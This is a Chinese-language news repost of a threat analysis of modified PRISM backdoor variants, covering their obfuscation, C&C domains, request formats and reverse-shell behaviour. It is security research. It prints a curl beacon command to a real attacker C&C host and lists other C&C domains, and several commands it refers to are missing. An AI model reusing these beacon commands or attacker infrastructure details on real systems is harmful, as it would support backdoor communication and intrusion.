潜伏四年,利用PRISM后门的攻击者
发布时间:2021-11-03 11:06 所属栏目:53 来源:互联网
导读:ATT 的安全研究人员最近发现了一组隐蔽性极强的 ELF 可执行文件,它们在 VirusTotal 上的杀软检出率很低或为零。在分析样本后,ATT 已将它们确定为多个攻击者在多次攻击行动中使用的开源 PRISM 后门的修改版。 深入分析了使用这些恶意软件的攻击活动,在长达
AT&T 的安全研究人员最近发现了一组隐蔽性极强的 ELF 可执行文件,它们在 VirusTotal 上的杀软检出率很低或为零。在分析样本后,AT&T 已将它们确定为多个攻击者在多次攻击行动中使用的开源 PRISM 后门的修改版。
深入分析了使用这些恶意软件的攻击活动,在长达三年半的时间内这些攻击者仍然保持活跃。最早的攻击行动中的样本出现在 2017 年 11 月 8 日。
WaterDrop 分析
WaterDrop 的变种很容易识别,它包含一个名为 xencrypt的函数,该函数使用硬编码的单字节 0x1F密钥执进行异或加密。从 WaterDrop 变种的第 7 版开始,恶意样本也包含纯文本字符串 WaterDropx vX started,其中 X 是恶意样本的版本号。到目前为止,已经观察到版本 1、2.2 和 3 使用 PRISM 命名,而版本 7、9 和 12 被命名为 WaterDropx。
WaterDrop 使用 agent-waterdropx作为 User-Agent 进行 HTTP 协议的 C&C 通信,C&C 使用 waterdropx.com 域名的子域名。
尽管这些都是非常明显的特征,但攻击者仍然保持了在 VirusTotal 上极低的检出率,这可能是因为攻击行动的规模较小。
攻击者在 2017 年 8 月 18 日注册 waterdropx.com 域名。截至 2021 年 8 月 10 日,该域名仍在使用。
除了 PRISM 的基本功能外,WaterDrop 还额外引入了异或加密与定期轮询 C&C 服务器的功能。
恶意软件与 C&C 服务器的通信是纯文本 HTTP 协议,且所有版本的恶意软件都使用了 agent-waterdropx作为 User-Agent。
一些变种还会在以 root 权限执行时加载内核模块。
版本进化
(1) PRISM v1
第一个版本的样本就是使用 waterdropx.com 作为 C&C 域名的攻击者使用的,他们的 User-Agent 相同。
与公开的 PRISM 相比,该版本创建了子进程,该子进程不断向 C&C 服务器轮询要执行的命令。
curl -A 'agent-waterdropx' 'http://r.waterdropx.com:13858/tellmev2.x?v=1&act=touch'
第一个版本的样本没有对恶意样本进行任何混淆、加壳或者加密。
(2) PRISM v2.2
2.2 版本的 PRISM 开始使用异或加密来处理敏感数据,例如使用的 shell 命令等。单字节密钥硬编码为 0x1F,该密钥用于发现同一攻击者的所有样本。
对于这个版本的恶意软件,初始的 C&C URI 请求格式是:
/tellmev2.x?v=2.2&act=touch
(3) PRISM v3
3 版本的 PRISM 与 2.2 版本基本相同,额外多了 BOT ID 被保存到 /etc/.xid。
初始请求格式为:
/tellmev2.x?v=3&act=touch&xid=
(4) PRISM v7
Waterdrop v7 引入了内核模块的使用,如果进程具有 root 权限,则使用 insmod 安装。安全分析人员暂时无法确定此 Payload 的用途。
其余代码与 PRISM v3 相同,仅更改了硬编码版本号。其初始请求格式为:
/tellmev2.x?v=7&act=touch&xid=
(5) PRISM v9
延续之前版本的风格,Waterdrop v9 的变化微乎其微。在这个版本中发现的唯一变化是,使用 BOT ID 作为 ICMP 密码来生成反向 Shell,而不是使用硬编码的 ICMP 密码。
初始请求格式为:
/tellmev2.x?v=9&act=touch&xid=
(6) PRISM v12
Waterdrop v12 与其前序版本几乎相同,但增强了后门的稳定性。
其初始请求格式为:
/tellmev2.x?v=12&act=touch&xid=
恶意软件家族 PrismaticSuccessor
域名 z0gg.me 可解析为由另外 12 个域名共享的 IP 地址。
一些存在重叠的域名是已知的 PRISM 的 C&C 域名,但 z0gg.me 也与几个其他恶意样本存在关联。特别是,观察到与 https://github.com/lirongchun/i存储库有关。
在这个存储库中,可以观察到以下文件:
(1)三个包含 IP 地址(README.md)和端口号(README1.md 和 MP.md)的文档
(2)针对脏牛(CVE-2016-5195)漏洞的 Bash 脚本,名为:111
(3)几个 ELF 二进制文件,包括:
git:自定义恶意软件植入工具
ass:为 x64 架构编译的名为hide my ass的开源安全工具
ass32:为 x86 架构编译的名为hide my ass的开源安全工具
由于攻击者使用公共 GIT 存储库来托管其恶意软件和基础设施信息,可以查看历史数据观察其演变。
例如,我们可以使用以下命令收集参与者用作 C&C 服务器的所有 IP 地址:
按大小进行分组,可以发现大约 15K 的样本是 PRISM 后门,而大约 1.1 MB 的样本是另外的恶意软件。
攻击者在 2019 年 7 月 16 日提交了自定义 implant,该恶意软件使用修改版的 UPX 加壳。
恶意软件明显变大是由于二进制文件静态编译进了 libcurl,AT&T 将这个恶意软件家族命名为 PrismaticSuccessor。
分析可知,配置由两个 URL 组成:
HostUrl 用于获取 C&C 主机
PortUrl 用于获取端口号
执行后会尝试加锁 /var/lock/sshd.lock来当作互斥量。
接下来,恶意软件解密包含进程名称的字符串,该字符串用于覆盖 argv。
请注意,aMcwfkvf 变量包含 [mcwfkvf]值,该值在 src中被解密为 [kauditd]。解密使用 ROT13,密钥为 -2。这个 ROT13 只处理大小字母,不处理符号和数字。
接下来,恶意软件通过子进程进行多任务处理。
某个子进程会打开一个硬编码 C&C 服务器的反向 Shell 会话,配置中最多有三个 C&C 地址(z0gg.me、x63.in 和 x47.in)并使用 ROT13 加密。
服务器还需要使用密码进行回复,以便成功建立反向 Shell。恶意软件会计算回复缓冲区的 MD5 哈希值,并将其与硬编码值 ef4a85e8fcba5b1dc95adaa256c5b482进行比较。
无论主 C&C 服务器是否成功联系,都会进行通信。
某个子进程通过 GitHub 获取 C&C 主机和端口,并打开反向 Shell。
生成 Shell 的函数与 PRISM 源代码很相似,但不完全相同。
某个子进程跳转到 Shellcode 异或解密,硬编码的 8 字节密钥:
构建的命令如下所示:
在 StackOverflow 上也能发现有用户抱怨被攻击,与之相符。
其他变种
我们也观察到其他攻击者使用 PRISM 后门进行攻击。然而,在大多数情况下,攻击者者会原样使用原始的 PRISM 后门,而不进行任何重大修改。某种程度上说,这也阻碍了我们正确跟踪攻击者的攻击行动。
结论
PRISM 是一个开源的、简单的后门。它的流量是清晰可辨的,恶意文件很容易被检测到。其 C&C 服务器已经保持在线长达三年半。这表明,虽然受到更多关注的大型攻击行动通常会在数小时内被检测到,但较小的攻击行动可能会被漏掉。
检测方法
(编辑:ASP站长网) |
相关内容
网友评论
推荐文章
热点阅读